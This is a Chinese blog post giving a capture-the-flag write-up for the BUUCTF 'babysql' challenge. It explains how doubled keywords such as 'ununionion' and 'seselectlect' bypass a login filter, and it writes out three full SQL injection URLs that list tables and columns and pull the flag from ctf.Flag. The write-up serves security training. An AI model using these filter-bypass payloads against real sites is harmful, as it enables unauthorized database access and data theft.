您的位置:首页 > 数据库

buuctf 极客大挑战 babysql

2020-02-03 09:11 1496 查看

emmmmm这道题,常规注入不可行,很明显过滤了什么字符,我试了下双写,没想到可行。。
跟之前lovesql差不多
作为一个菜鸡,我必须写一个详细的题解

这边报错,试试双写and

这边发现显示and了
所以双写注入
https://blog.csdn.net/whoim_i/article/details/102869687(双写注入讲解)
查询表的时候发现报错了
看到报错的内容,缺哪个就双写哪个 oorrder bbyy
然后就是常规操作了,发现也3个字段
接着联合查询双写

好了跟lovesql差不多了,flag应该也是在3个字段
常规操作
我自己瞎试了试from的双写frfromom
发现
好了跟order 双写一样
爆出库名,很明显flag在ctf库里,然后就特别简单了
playload:

http://a86210a7-e9a6-4761-bf62-ff61cafda938.node3.buuoj.cn/check.php?username=1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables %23&password=3543


这个很明显了,估计字段名也是flag,还是老实查吧
playload
http://a86210a7-e9a6-4761-bf62-ff61cafda938.node3.buuoj.cn/check.php?username=1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns %23&password=3543


果然是flag
playload:

http://a86210a7-e9a6-4761-bf62-ff61cafda938.node3.buuoj.cn/check.php?username=1' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag %23&password=3543
![在这里插入图片描述](https://img-blog.csdnimg.cn/2020011722284470.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1NvcFJvbWVv,size_16,color_FFFFFF,t_70)

搞定

  • 点赞
  • 收藏
  • 分享
  • 文章举报
SopRomeo 发布了10 篇原创文章 · 获赞 1 · 访问量 1088 私信 关注
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: